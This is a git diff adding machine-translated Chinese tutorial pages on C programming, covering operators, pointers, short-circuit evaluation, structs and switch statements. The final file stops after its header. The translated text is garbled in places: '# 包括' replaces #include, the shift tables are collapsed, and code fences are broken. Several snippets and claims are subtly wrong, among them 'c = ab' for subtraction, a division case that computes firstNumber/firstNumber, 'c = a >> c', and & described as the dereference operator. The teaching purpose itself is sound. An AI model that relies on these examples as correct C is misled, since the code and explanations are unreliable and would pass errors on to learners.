+如果我们只是从左到右阅读和计算，我们将取1，加3，减2，乘以5得到10.然而，这忽略了操作的顺序。我们应该先做（3-2），得到1，然后乘以5，再加1.这给出了6的答案。
+
+就像常规数学一样，C有一个操作顺序。操作具有优先权，如果一个操作的优先级高于另一个操作，则首先计算优先级越高。使用括号可以增加该优先级，就像在普通数学中一样。
+
+## 一元行动
+
+一元操作是只有一个变量的操作。 C中有一些。
+
+### 修复后和预修复操作员
+
+在很多情况下你想要一个数字并且上升或下降1.对于这些情况，我们有post-fix和pre-fix运算符：
+
+```C
+1: a++; 
+ 2: ++a; 
+ 
+ 3: a--; 
+ 4: --a; 
+```
+
+1和2处的示例都将a的值增加1。 3和4处的两个示例都将a的值减小1。但是，1与2不完全相同，3与4不完全相同。预修复运算符称为此，因为操作是前缀（2和4是我们的前缀运算符）。这与我们在1和3的后期修复操作符略有不同。预修复操作符执行操作，然后返回值。修复后操作符返回值，然后执行增量。
+
+### 一元加减
+
+在您习惯的常规数学中，您在数字或变量前面使用“ - ”，这使得数字或变量为负数。如果数字或变量已经为负数，则变为正数。
+
+C做同样的事情：在数字或变量前放一个`-`以产生这种效果，如下所示：
+
+```C
+int number = -3; 
+ number = -number; 
+```
+
+因此， `number`从负3开始，但随后变为正数，因为负数为正数。
+
+## 按位运算
+
+因为C是如前所述的低级别，所以您可以访问各个二进制位（如果您选择利用它）。内置了一些二进制操作让我们这样做。对于这些示例，我们将使用`a`和`b`作为变量。它们可以是任何类型的变量，因为所有变量都将以位表示，因此确切的数据类型对于这些变量无关紧要。
+
+### 和
+
+`c = a & b;`将执行按位AND。这意味着如果`a`的第一位和`b`的第一位都是1，则c的第一位将为1，否则为0。如果`a`和`b`的第二位都是1，则c的第二位将为1，否则为0。这种情况一直持续到所有比特都被用完为止。
+
+### 要么
+
+`c = a | b;`将执行按位OR。的第一比特`c`是1，如果在任一第一比特`a`或`b`是1，第二位是1，如果在任一所述第二位`a`或`b`是1，依此类推。
+
+### 不
+
+`b = ~a;`将设置`b`到的一个补`a` ，这意味着任何1变成0和0的任何一个变为1。
+
+### XOR
+
+`c = a ^ b;`将执行按位异或。这是一个异或，意味着如果`a`或`b`为1，则`c`的第一位为1，但不是两者。如果其中一个为1但不是两个，则第二个位为1，依此类推。
+
+### 转移
+
+按位移位将取位并将它们移动到左侧或右侧的某些位置。例如，假设我们有一组位： `101110` 。当位移时，C执行算术移位。让我们用一张表来说明一点：
+
+|位| | 1 | 2 | 3 | 4 | 5 | 6 | | ------- | --- | --- | --- | --- | --- | --- | --- | |之前| | 1 | 0 | 1 | 1 | 1 | 0 | |期间| 1 | 0 | 1 | 1 | 1 | 0 | | |之后| | 0 | 1 | 1 | 1 | 0 | 0 |
+
+这是一个向左移动的算术按位移位。请注意，在左移位置，从位置1开始的最左边的1最终位于它可以适合的空间之外，因此它被移除了。在班次中，左侧出现一个开口，因此它充满了0。
+
+现在让我们一起看一下算术位移：
+
+|位| 1 | 2 | 3 | 4 | 5 | 6 | | | ------- | --- | --- | --- | --- | --- | --- | --- | |之前| 1 | 0 | 1 | 1 | 1 | 0 | | |期间| | 1 | 0 | 1 | 1 | 1 | 0 | |之后| 1 | 1 | 0 | 1 | 1 | 1 | |
+
+请注意，这里的一个插槽在位置1处打开，但不是由0填充，而是由最重要的位填充。在这种情况下，这是1.如果在位置1开始的位为0，则间隙将填充0。
+
+这是因为您的计算机上的数字是使用Two's Complement表示的，因此以这种方式移动不会使负数为正数。如果您对计算机如何使用二进制数据进行数学运算并表示数字感兴趣，那么Two's Complement值得更多阅读。
+
+要执行左移，请使用`<<`运算符，如下所示：
+
+```C
+c = a << b; 
+```
+
+这将`a`向左移位`b`位，并将该结果设置为等于`c` 。
+
+此示例将`a`向右移位`b`位，并将该结果设置为等于`c` 。
+
+```C
+c = a >> c; 
+```
+
+## 复合赋值运算符
+
+有时您希望将变量增加一定值。你可以这样做：
+
+```C
+a = a + b; 
+```
+
+但是，这就是复合赋值运算符的用途。相反，你可以写这个，它完全相同：
+
+```C
+a += b; 
+```
+
+对于许多其他运营商也存在这种情况。这是一个方便的桌子给你：
+
+短路|漫长的道路 ：--------------：|：------------： `a += b` | `a = a + b` `a -= b` | `a = a - b` `a *= b` | `a = a * b` `a /= b` | `a = a / b` `a %= b` | `a = a % b` `a &= b` | `a = a & b` `a ^= b` | `a = a ^ b` `a <<= b` | `a = a << b` `a >>= b` | `a = a >> b`
+
+还有`|=` ，因为`|`而不在表上角色打破了桌子。但它确实像所有这些其他操作一样。
+
+## 铸件
+
+有时你不希望数字是一个数字，或者你想要一个整数是浮点数，或类似的东西。这就是铸造的目的。
+
+正如您从整数除法的讨论中回忆的那样，下面的示例将给出一个没有任何小数的整数值，因为进入的两个数字都是整数：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 12; 
+    int b = 5; 
+ 
+    printf("a divided by b is %i", a/b); 
+ } 
+```
+
+但是，使用铸造，我们可以使用铸造将它们变成浮子。这允许将它们划分为浮点数，并且等式将返回浮点值：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 12; 
+    int b = 5; 
+ 
+    printf("a divided by b is %f", (float) a / b); 
+ } 
+```
+
+现在它是一个浮点数12除以5，所以这将返回一个浮点数，该数字在小数位后不会截断。
+
+要将数字转换为`int` ，请使用`(int)`将其转换为`double` ，使用`(double)` ，依此类推。
+
+## MATH.H
+
+这就是所有内置的东西，但就像你可以`#include` stdio和stdbool一样，你可以包含一个名为`math.h`的库。该库具有各种有用的功能，适用于各种数学。如果你想要完整的功能列表，那么值得阅读[维基百科页面](https://en.wikipedia.org/wiki/C_mathematical_functions#Overview_of_functions) 。这是一个关于如何使用`abs`的例子，这是他们列表中的第一个：
+
+```C
+a = abs(-1); 
+```
+
+`abs`计算传递给它的值的绝对值。在这种情况下，它收到-1，所以它会把它变成1， `a`将等于1.还有更多可以提供更多的功能，这就是你能够做指数，三角学，以及更多。
+
+# 在你继续之前......
+
+## 回顾
+
+*   在C中有更多的数学运算符
+*   C中存在操作顺序
+*   括号存在并且像常规数学一样工作以改变操作顺序
+*   有一些一元操作，这些操作只有一个变量：
+*   post-fix和pre-fix运算符用于加1和减1
+*   添加一个： `++a;`或者`a++;`
+*   减去一个： - `--a`或'a--'
+*   `-`可以放在变量或数字的前面，就像数学中的负数一样
+*   也有一些按位操作
+*   和完成＆
+*   或者用|完成
+*   不是用〜完成的
+*   XOR用^完成（XOR不适用于C中的浮点型号）
+*   所有非一元操作都存在复合赋值操作
+*   a + = b与a = a + b相同，依此类推
+*   Casting允许您在数据类型之间进行交换
+*   math.h有更多的数学东西可供使用
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/operators/index.md b/client/src/guide/chinese/c/operators/index.md
new file mode 100644
index 0000000000..18168391c0
--- /dev/null
+++ b/client/src/guide/chinese/c/operators/index.md
@@ -0,0 +1,99 @@
+---
+title: Operators
+localeTitle: 运营商
+---
+# C中的操作员
+
+## 1.算术运算符
+
+*   `+`添加到操作数（值） `C int a = 6; int c = a + 1; // c = 7`
+*   `-`从第一个操作数中减去第二个操作数 `C int a = 8; int b = 9; int c = a - b; // c = -1`
+*   `*`两个操作数相乘 `C int a = 8; int b = 9; int c = a * b; // c = 72`
+*   `/`将第一个操作数除以第二个操作数 `C int a = 8; int b = 4; int c = a / b; // c = 2`
+*   `%`在整数除法后给出余数 `C int a = 8; int b = 9; int c = b % a; // c = 1 because b = 1*a + 1 = 8 + 1`
+*   `++`将int值增加1 `C int a = 8; a++; // a = 9 int b = a++; // postfix operator; a = 10, b = 9 int c = ++a; // prefix operator; a = 11, c = 11`
+*   `--` int值减1 `C int a = 8; a--; // a = 7 int b = a--; // postfix operator; a = 6, b = 7 int c = --a; // prefix operator; a = 5, c = 5` // C程序演示算术运算符的工作原理
+
+# 包括
+
+int main（） { int a = 9，b = 4，c;
+```
+c = a+b; 
+ printf("a+b = %d \n",c); 
+ 
+ c = ab; 
+ printf("ab = %d \n",c); 
+ 
+ c = a*b; 
+ printf("a*b = %d \n",c); 
+ 
+ c=a/b; 
+ printf("a/b = %d \n",c); 
+ 
+ c=a%b; 
+ printf("Remainder when a divided by b = %d \n",c); 
+ 
+ return 0; 
+```
+
+}
+
+## 2.关系运算符
+
+*   `==` Equal - 当两个操作数相等时为true `C int a = 5, b = 5; bool c = (a == b); // c = true`
+*   `!=`不相等 - 当两个操作数不相等时为真 `C int a = 5, b = 6; bool c = (a != b); // c = true`
+*   `>`大于 - 当第一个操作数大于第二个操作数时为真。 `C int a = 8, b = 5; bool c = (a > b); // c = true`
+*   `<`小于 - 第一个操作数小于第二个操作数时为真。 `C int a = 5, b = 8; bool c = (a < b); // c = true`
+*   `>=`大于或等于 - 当第一个操作数较大或等于第二个操作数时为真。 `C int a = 8, b = 5; bool c = (a >= b); // c = true bool d = (a >= 8); // d = true`
+*   `<=`小于或等于 - 当第一个操作数小于或等于第二个操作数时为真。 `C int a = 5, b = 8; bool c = (a <= b); // c = true`
+
+## 3.逻辑运算符
+
+*   `&&` AND运算符 - 当**两个**操作数**都**为真时为真。 `C bool c = (5 < 6) && (8!=7); // both operands true, therefore c = true`
+*   `||` OR运算符 - 当第一个或第二个操作数为真（或两者）时为真 `C bool c = (5 < 6) || (8 == 7) // first operand is true, therefore c = true`
+*   `!` NOT运算符 - 当操作数为false时为True。 `C bool c = !(8 == 7) // translate: NOT (false), therefore c = true`
+
+## 4.按位运算符
+
+*   `&` AND运算符 - 如果在某个位置两个操作数中都有一个位，则将其复制到结果中 `C A = 11001 B = 01000 RESULT = 01000`
+*   `|` OR运算符 - 如果在某个位置任一操作数中有一位，则将其复制到结果中 `C A = 11001 B = 01000 RESULT = 11001`
+*   `^` XOR（异或）运算符 - 如果在某个位置其中一个操作数（不是两个）中都有一个位，则将其复制到结果中 `C A = 11001 B = 01000 RESULT = 10001`
+*   `~`否定运算符 - 反转位。 1 - > 0,0 - > 1 `C C = 01000 RESULT = 10111`
+*   `<<`左移位运算符 - 左操作数向左移动与右操作数一样多的位 `C A = 11001 A << 2 RESULT = 00100`
+*   `>>`右移操作符 - 左操作数向右移动与右操作数一样多的位 `C A = 11001 A >> 2 RESULT = 00110`
+
+## 5.指派运营商
+
+*   `=` `C int a = 7; // 'a' is going to be equal to 7`
+*   `+=` `C int a = 7; a += 5; // equivalent to a = a + 5 = 7 + 5 = 12`
+*   `-=` `C int a = 7; a -= 2; // equivalent to a = a - 2 = 7 - 2 = 5`
+*   `*=` `C int a = 7; a *= 3; // equivalent to a = a * 3 = 7 * 3 = 21`
+*   `/=` `C int a = 21; a /= 3; // equivalent to a = a / 3 = 21 / 3 = 7`
+*   `%=`  
+    `C int a = 21; a %= 5; // equivalent to a = a % 5 = 21 % 5 = 1`
+
+其他运营商↦sizeof＆trinary 除了上面讨论的运算符，还有一些其他重要的运算符，包括sizeof和？ ：C语言支持。
+
+运算符说明示例 sizeof（）返回变量的大小。 sizeof（a），其中a是整数，将返回4。 ＆返回变量的地址。 ＆一个;返回变量的实际地址。
+
+*   指向变量的指针。 \*一个; ？ ：条件表达式。如果条件为真？然后值X：否则值Y.
+
+## 6\. C中的运算符优先级
+
+具有最高优先级的运算符显示在列表的顶部。在表达式中，运算符 优先级越高，将首先进行评估。
+
+*   Postfix `() [] -> . ++ --`
+*   一元`+ - ! ~ ++ -- (type)* & sizeof`
+*   乘法`* / %`
+*   添加剂`+ -`
+*   Shift `<< >>`
+*   关系`< <= > >=`
+*   平等`== !=`
+*   按位AND `&`
+*   按位XOR `^`
+*   按位OR `|`
+*   逻辑AND `&&`
+*   逻辑OR `||`
+*   有条件的`?:`
+*   Assignment `= += -= *= /= %= >>= <<= &= ^= |=`
+*   逗号`,`
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/passing-pointers-to-function/index.md b/client/src/guide/chinese/c/passing-pointers-to-function/index.md
new file mode 100644
index 0000000000..910aa7f187
--- /dev/null
+++ b/client/src/guide/chinese/c/passing-pointers-to-function/index.md
@@ -0,0 +1,46 @@
+---
+title: Passing pointers to funtions
+localeTitle: 将指针传递给功能
+---
+# 将指针传递给功能
+
+C允许将指针传递给函数。要实现此目的，只需将参数声明为指针类型即可。 当您想要修改超出该函数范围的变量时，这种传递函数的方法很有用。
+
+```C
+// incorrect implementation of swap 
+ #include <stdio.h> 
+ void swap(int a, int b){ 
+    int c; 
+    c = a; 
+    a = b; 
+    b = c; 
+ } 
+ int main(){ 
+    int var1 = 10; 
+    int var2 = 20; 
+    swap(var1, var2); 
+    printf("Value of var1: %d \n", var1); // prints 10 
+    printf("Value of var2: %d \n", var2); // prints 20 
+ } 
+```
+
+在此代码示例中，交换函数不能按预期工作，因为它交换了仅存在于该函数范围内的两个变量。为了解决这个问题，我们进行了如下所示的修改。
+
+```C
+// correct implementation of swap 
+ #include <stdio.h> 
+ void swap(int* a, int* b){ 
+    int c = *a; 
+    *a = *b; 
+    *b = c; 
+ } 
+ int main(){ 
+    int var1 = 10; 
+    int var2 = 20; 
+    swap(&var1, &var2); 
+    printf("Value of var1: %d \n", var1); // prints 20 
+    printf("Value of var2: %d \n", var2); // prints 10 
+ } 
+```
+
+在第二个代码示例中，您只能更改变量的值，因为您不断地在函数内取消引用指针而不是尝试直接更改值
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/pointers/index.md b/client/src/guide/chinese/c/pointers/index.md
new file mode 100644
index 0000000000..87e87f7401
--- /dev/null
+++ b/client/src/guide/chinese/c/pointers/index.md
@@ -0,0 +1,320 @@
+---
+title: Pointers
+localeTitle: 指针
+---
+# C中的指针
+
+到现在为止你应该知道C是一种低级语言，没有什么能比指针更好。指针是通过“指向”内存位置而不是存储变量本身的值来获取变量值的变量。这允许一些方便的技巧，并且还使我们能够访问数组和文件处理等。
+
+＃
+```
+type *var-name; 
+```
+
+## 制作和使用指针
+
+```c
+#include <stdio.h> 
+ 
+ int main(void){ 
+    double my_double_variable = 10.1; 
+    double *my_pointer; 
+ 
+    my_pointer = &my_double_variable; 
+ 
+    printf("value of my_double_variable: %f\n", my_double_variable); 
+ 
+    ++my_double_variable; 
+ 
+    printf("value of my_pointer: %f\n", *my_pointer); 
+ 
+    return 0; 
+ } 
+```
+
+输出：
+```
+value of my_double_variable: 10.100000 
+ value of my_pointer: 11.100000 
+```
+
+在此代码中，有两个声明。第一个是典型的变量初始化，它创建一个`double`并将其设置为10.1。我们的声明中的新内容是`*`的用法。星号（ `*` ）通常用于乘法，但是当我们通过将它放在变量前面来使用它时，它会告诉C这是一个指针变量。
+
+下一行告诉编译器实际上在哪里。通过使用`&`以这种方式，它成为'解除引用运算符'，并返回它正在查看的变量的内存位置。
+
+考虑到这一点，让我们再看一下这段代码：
+
+```c
+double *my_pointer; 
+ // my_pointer now stored the address of my_double_variable 
+ my_pointer = &my_double_variable; 
+```
+
+`my_pointer`已被声明，并且已被声明为指针。 C编译器现在知道`my_pointer`将指向一个内存位置。下一行使用`&`为`my_pointer`分配一个内存位置值。
+
+现在让我们来看看代码的内存位置意味着什么：
+
+```c
+    printf("value of my_double_variable: %f\n", my_double_variable); 
+ 
+    // Same as my_double_variable = my_double_variable + 1 
+    // In human language, adding one to my_double_variable 
+    ++my_double_variable; 
+ 
+    printf("value of my_pointer: %f\n", *my_pointer); 
+```
+
+请注意，为了在`*my_pointer`获取数据的值，您需要告诉C您想要获取变量指向的值。尝试在没有该星号的情况下运行此代码，您将能够打印内存位置，因为这是`my_variable`变量实际保存的内容。
+
+您可以像使用标准变量一样在单个语句中声明多个指针，如下所示：
+
+```c
+int *x, *y; 
+```
+
+请注意， `*`在每个变量之前都是必需的。这是因为将指针视为变量的一部分而不是数据类型的一部分。
+
+## 指针的实际用途
+
+### 数组
+
+指针的最常见应用是在数组中。您将在稍后阅读的数组允许一组变量。你实际上不必处理`*`和`&`来使用数组，但这就是他们在幕后所做的事情。
+
+### 功能
+
+有时您想要调整函数内部变量的值，但如果您只是传递变量值，则该函数将使用变量的副本而不是变量本身。相反，如果传入指向变量内存位置的指针，则可以从其正常范围之外访问和修改它。这是因为您正在触摸原始内存位置本身，允许您调整函数中的某些内容并在其他位置进行更改。与“按值调用”相反，这称为“按引用调用”。
+
+以下程序在专用`swap`函数内`swap`两个变量的值。为此，变量通过引用传入。
+
+```c
+ /* C Program to swap two numbers using pointers and function. */ 
+ #include <stdio.h> 
+ void swap(int *n1, int *n2); 
+ 
+ int main() 
+ { 
+    int num1 = 5, num2 = 10; 
+ 
+    // address of num1 and num2 is passed to the swap function 
+    swap( &num1, &num2); 
+    printf("Number1 = %d\n", num1); 
+    printf("Number2 = %d", num2); 
+    return 0; 
+ } 
+ 
+ void swap(int * n1, int * n2) 
+ { 
+    // pointer n1 and n2 points to the address of num1 and num2 respectively 
+    int temp; 
+    temp = *n1; 
+    *n1 = *n2; 
+    *n2 = temp; 
+ } 
+```
+
+产量
+```
+Number1 = 10 
+ Number2 = 5 
+```
+
+`num1`和`num2`的地址或存储单元被传递给函数`swap` ，并由函数内部的指针`*n1`和`*n2`表示。因此，现在指针`n1`和`n2`指向`num1`和`num2`的地址。
+
+所以，现在指针n1和n2分别指向num1和num2的地址。
+
+当指针的值改变时，指向的存储器位置中的值也相应地改变。
+
+因此，对\* n1和\* n2的更改反映在main函数中的num1和num2中。
+
+### 指针作为功能的参数
+
+当我们将任何参数传递给函数时，我们正在制作参数的副本。让我们看看这个例子
+
+```C
+#include <stdio.h> 
+ 
+ void func(int); 
+ 
+ int main(void) { 
+    int a = 11; 
+    func(a); 
+    printf("%d",a);// print 11 
+ 
+ 
+    return 0; 
+ } 
+ void func(int a){ 
+ a=5 
+ printf("%d",a);//print 5 
+ } 
+```
+
+在上面的例子中，我们正在函数func中更改整数a的值，但我们仍然在main函数中使用11。这是因为在整数a的函数副本中已经作为参数传递，所以在这个函数中我们无法访问main函数中的'a'。
+
+那你怎么能用另一个函数改变main中定义的整数的值呢？ POINTERS在这里扮演角色。 当我们提供指针作为参数时，我们可以访问该参数的地址，我们可以使用此参数进行任何操作，结果将随处显示。 下面是一个我们想要完全相同的例子......
+
+通过解除引用`n1`和`n2` ，我们现在可以修改`n1`和`n2`指向的内存。这允许我们更改`main`函数中在其正常范围之外声明的两个变量`num1`和`num2`的值。函数完成后，两个变量现在交换了它们的值，如输出中所示。
+
+### 内存位置技巧
+
+只要可以避免，最好保持代码易于阅读和理解。在最好的情况下，您的代码将讲述一个故事 - 如果您大声朗读它将具有易于阅读的变量名称，并且您将使用偶尔的注释来阐明代码行的作用。
+
+因此，使用指针时应该小心。很容易让你混淆调试或让别人阅读。但是，可以用它们做一些非常巧妙的事情。
+
+看看这段代码，它将大小写变为小写：
+
+```c
+#include <stdio.h> 
+ #include <ctype.h> 
+ 
+ char *lowerCase (char *string) { 
+    char *p = string; 
+    while (*p) { 
+        if (isupper(*p)) *p = tolower(*p); 
+        p++; 
+    } 
+    return string; 
+ } 
+```
+
+这首先是一个字符串（当你进入数组时你会学到的东西）并遍历每个位置。请注意p ++。这会增加指针，这意味着它正在查看下一个内存位置。每个字母都是一个内存位置，因此指针会以这种方式查看每个字母并决定每个字母要做什么。
+
+### Const Qualifer
+
+限定符const可以应用于任何变量的声明，以指定其值不会被更改（这取决于存储const变量的位置，我们可以通过使用指针来更改const变量的值）。
+
+# 指向变量的指针
+
+我们可以改变ptr的值，我们也可以改变指向的对象ptr的值。 下面的代码片段解释了变量的指针
+
+```c
+#include <stdio.h> 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
+    int *ptr = &i;        /* pointer to integer */ 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    /* pointer is pointing to another variable */ 
+    ptr = &j; 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    /* we can change value stored by pointer */ 
+    *ptr = 100; 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    return 0; 
+ } 
+```
+
+# 指向常数的指针
+
+我们可以将指针更改为指向任何其他整数变量，但不能使用指针ptr更改指向的对象（实体）的值。
+
+```c
+#include <stdio.h> 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
+    const int *ptr = &i;    /* ptr is pointer to constant */ 
+ 
+    printf("ptr: %d\n", *ptr); 
+    *ptr = 100;        /* error: object pointed cannot be modified 
+                     using the pointer ptr */ 
+ 
+    ptr = &j;          /* valid */ 
+    printf("ptr: %d\n", *ptr); 
+ 
+    return 0; 
+ } 
+```
+
+# 常量指向变量的指针
+
+在这里我们可以改变指针所指向的变量的值。但我们无法改变指向的指针 另一个变量。
+
+```c
+#include <stdio.h> 
+ int main(void) 
+ { 
+   int i = 10; 
+   int j = 20; 
+   int *const ptr = &i;    /* constant pointer to integer */ 
+ 
+   printf("ptr: %d\n", *ptr); 
+ 
+   *ptr = 100;    /* valid */ 
+   printf("ptr: %d\n", *ptr); 
+ 
+   ptr = &j;        /* error */ 
+   return 0; 
+ } 
+```
+
+# 常量指针指向常量
+
+上面的声明是指向常量变量的常量指针，这意味着我们不能改变指针指向的值，也不能将指针指向其他变量。
+
+```c
+#include <stdio.h> 
+ 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
+    const int *const ptr = &i; /* constant pointer to constant integer */ 
+ 
+    printf("ptr: %d\n", *ptr); 
+ 
+    ptr = &j;            /* error */ 
+    *ptr = 100;        /* error */ 
+ 
+    return 0; 
+ } 
+```
+
+# 在你继续之前......
+
+## 回顾
+
+*   指针是变量，但它们不存储值，而是存储内存位置。
+*   `*`和`&`分别用于访问存储器位置的值和访问存储器位置。
+*   指针对C的一些基本特征很有用。
+
+# C中的指针与数组
+
+大多数情况下，指针和数组访问可以被视为相同的行为，主要的例外是：
+
+1）sizeof运算符
+
+*   `sizeof(array)`返回数组中所有元素使用的内存量
+*   `sizeof(pointer)`仅返回指针变量本身使用的内存量
+
+2）＆运营商
+
+*   ＆array是＆array \[0\]的别名，并返回数组中第一个元素的地址
+*   ＆pointer返回指针的地址
+
+3）字符数组的字符串文字初始化
+
+*   `char array[] = “abc”`将数组中的前四个元素设置为'a'，'b'，'c'和'\\ 0'
+*   `char *pointer = “abc”`设置指向“abc”字符串地址的指针（可以存储在只读存储器中，因此不可更改）
+
+4）指针变量可以赋值，而数组变量不能。
+
+```c
+    int a[10]; 
+    int *p; 
+    p = a; /*legal*/ 
+    a = p; /*illegal*/ 
+```
+
+5）允许对指针变量进行算术运算。
+
+```c
+    p++; /*Legal*/ 
+    a++; /*illegal*/ 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/short-circuit-evaluation/index.md b/client/src/guide/chinese/c/short-circuit-evaluation/index.md
new file mode 100644
index 0000000000..82c9dd88d1
--- /dev/null
+++ b/client/src/guide/chinese/c/short-circuit-evaluation/index.md
@@ -0,0 +1,64 @@
+---
+title: Short-Circuit Evaluation
+localeTitle: 短路评估
+---
+# 短路评估
+
+仅当第一个参数不足以确定表达式的值时，短路评估才包括检查或执行第二个参数。
+
+您可以使用&&和||进行短路评估运营商。
+
+## &&运算符的示例：
+
+```c
+  canOpenFile(filename) && openFile(filename); // If you can open the file then open it. 
+```
+
+上面的例子相当于：
+
+```c
+  if ( canOpenFile(filename) ) { 
+    openFile(filename); 
+  } 
+```
+
+## 示例包含||运营商：
+
+```c
+  isServerOn || startServer(); // If the server is not on then start it. 
+ ``` 
+ The example above is equivalent to: 
+ 
+ ```c 
+  if ( !isServerOn ) { 
+    startServer(); 
+  } 
+ ``` 
+ 
+ ## Keep it all together in real example 
+ 
+ ```c 
+ #include <stdio.h> 
+ #include <stdlib.h> 
+ 
+ char *getName(); 
+ 
+ int main(int argc, char *argv[]) { 
+    // Get first argument passed via terminal 
+    char *name = argv[1]; 
+ 
+    // If name is not passed via terminal then print message and then get the name 
+    name || printf("Please give me your name:") && (name = getName()); 
+ 
+    printf("Hello %s\n", name); 
+ } 
+ 
+ char *getName() { 
+    // Allocate memory 
+    char *name = malloc(30); 
+ 
+    scanf("%s", name); 
+    return name; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/structures/index.md b/client/src/guide/chinese/c/structures/index.md
new file mode 100644
index 0000000000..b5992890d1
--- /dev/null
+++ b/client/src/guide/chinese/c/structures/index.md
@@ -0,0 +1,78 @@
+---
+title: Structures
+localeTitle: 结构
+---
+## C中的结构
+
+### 什么是结构？
+
+*   **结构**是C中的用户定义类型。它基于这样的想法，即程序员不仅要管理原始数据类型，还需要管理程序员定义的数据类型。
+*   **结构** ，顾名思义，是由各种原语数据类型，如字符，整数，浮点变量，数组等等
+*   **结构**还可以包含各种其他用户定义的数据类型。接下来你将学习嵌套结构。
+*   **结构**构成了**_面向对象编程_**的基础，因为_类_的概念源于结构。
+
+### struct关键字
+
+*   `struct`关键字可以帮助我们定义用户定义的数据类型。
+
+```C
+struct StudentRecord 
+ { 
+  char Name[20]; 
+  int Class; 
+  char Address[30]; 
+  char Phone[10]; 
+ }; 
+```
+
+*   我们还可以使用**typedef**定义一个**结构** ，这样可以更轻松地在程序中稍后初始化一个结构。
+
+```C
+typedef struct StudentRecord 
+ { 
+  char Name[20]; 
+  int Class; 
+  char Address[30]; 
+  char Phone[10]; 
+ }Record; 
+```
+
+在`main()` ，用户定义的数据类型**StudentRecord**定义为：
+
+```C
+int main(void) 
+ { 
+  struct StudentRecord student1; 
+ } 
+```
+
+使用**typedef** ，用户定义的数据类型如下所示：
+
+```C
+int main(void) 
+ { 
+  Record student1; 
+ } 
+```
+
+要访问存储在**student1中**的数据，我们使用点（ **。** ）运算符来访问结构类型变量的内容。
+
+```C
+int main(void) 
+ { 
+  struct StudentRecord student1; 
+  student1.Class = 10; 
+  printf("Enter Name of Student\n"); 
+  scanf("%s",&student1.Name); 
+  printf("Enter Address of Student\n"); 
+  scanf("%s",&student1.Address); 
+  printf("Enter Phone Number of Student\n"); 
+  scanf("%s",&student1.Phone); 
+  // Printing the Data 
+  printf("Name: %s \n, Class: %d \n, Address: %s \n, Phone: %s \n",student1.Name, student1.Class, student1.Address, student1.Phone); 
+ } 
+```
+
+### 更多信息
+
+https://www.tutorialspoint.com/cprogramming/c\_structures.htm
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/switch/index.md b/client/src/guide/chinese/c/switch/index.md
new file mode 100644
index 0000000000..60e5c574db
--- /dev/null
+++ b/client/src/guide/chinese/c/switch/index.md
@@ -0,0 +1,89 @@
+---
+title: Switch Case
+localeTitle: 开关盒
+---
+# 开关盒
+
+switch语句就像一组`if statements` 。
+
+这是一个可能性列表，每个可能性都有一个动作，以及一个可选的默认动作，以防其他任何事情的评估结果为真。
+
+我们`break`从交换机退出。如果在下一个案例开始之前没有达到`break`语句，则执行将通过并在下一种情况下开始执行代码。
+
+## 开关语法...案例
+
+```c
+switch (n) 
+ { 
+    case constant1: 
+        // code to be executed if n is equal to constant1; 
+        break; 
+ 
+    case constant2: 
+        // code to be executed if n is equal to constant2; 
+        break; 
+        . 
+        . 
+        . 
+    default: 
+        // code to be executed if n doesn't match any constant 
+ } 
+```
+
+## 例
+
+在多个if / else语句上使用switch语句可以提高速度和可读性。
+
+```c
+# include <stdio.h> 
+ 
+ int main() { 
+ 
+    char operator; 
+    double firstNumber,secondNumber; 
+ 
+    printf("Enter an operator (+, -, *, /): "); 
+    scanf("%c", &operator); 
+ 
+    printf("Enter two operands: "); 
+    scanf("%lf %lf",&firstNumber, &secondNumber); 
+ 
+    switch (operator) { 
+        case '+': 
+            printf("%.1lf + %.1lf = %.1lf",firstNumber, secondNumber, firstNumber+secondNumber); 
+            break; 
+        case '-': 
+            printf("%.1lf - %.1lf = %.1lf",firstNumber, secondNumber, firstNumber-secondNumber); 
+            break; 
+        case '*': 
+            printf("%.1lf * %.1lf = %.1lf",firstNumber, secondNumber, firstNumber*secondNumber); 
+            break; 
+        case '/': 
+            printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/firstNumber); 
+            break; 
+        // Operator is doesn't match any case constant (+, -, *, /) 
+        default: 
+            printf("Error! operator is not correct"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+## 输出：
+
+```c
+-> Enter an operator (+, -, *,): - 
+ -> Enter two operands: 32.5 
+ -> 12.4 
+ -> 32.5 - 12.4 = 20.1 
+```
+
+## 评论：切换vs if else
+
+*   检查测试表达式：if-then-else语句可以根据值或条件的范围测试表达式，而switch语句仅基于单个整数，枚举值或String对象测试表达式。
+*   切换到Multi way分支更好：当编译器编译switch语句时，它将检查每个case常量并创建一个“跳转表”，它将用于根据表达式的值选择执行路径。因此，如果我们需要在一大组值中进行选择，则switch语句的运行速度将比使用if-elses序列编码的等效逻辑快得多。编译器可以这样做，因为它知道case常量都是相同的类型，并且必须与switch表达式进行相等性比较，而在if表达式的情况下，编译器没有这样的知识。
+*   if-else更适合布尔值：If-else条件分支对于导致布尔值的变量条件很有用，而switch语句对于固定数据值很有用。
+*   速度：如果提供的案例数量良好，则可以证明switch语句更快。如果只有少数情况，则无论如何都不会影响速度。如果案例数超过5，则更喜欢切换，否则也可以使用if-else。
+*   如果一个开关包含五个以上的项目，则使用查找表或哈希列表实现。这意味着与if：s列表相比，所有项目都获得相同的访问时间，其中最后一个项目需要更长的时间才能到达，因为它必须首先评估每个先前的条件。
+*   可读性清晰：当您需要组合案例时，开关看起来更清晰。如果也很容易出错。错过其他声明会让你陷入混乱。使用开关更轻松地添加/删除标签，使您的代码更易于更改和维护。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/ternary-operator/index.md b/client/src/guide/chinese/c/ternary-operator/index.md
new file mode 100644
index 0000000000..2a91eac179
--- /dev/null
+++ b/client/src/guide/chinese/c/ternary-operator/index.md
@@ -0,0 +1,80 @@
+---
+title: Ternary Operator
+localeTitle: 三元运算符
+---
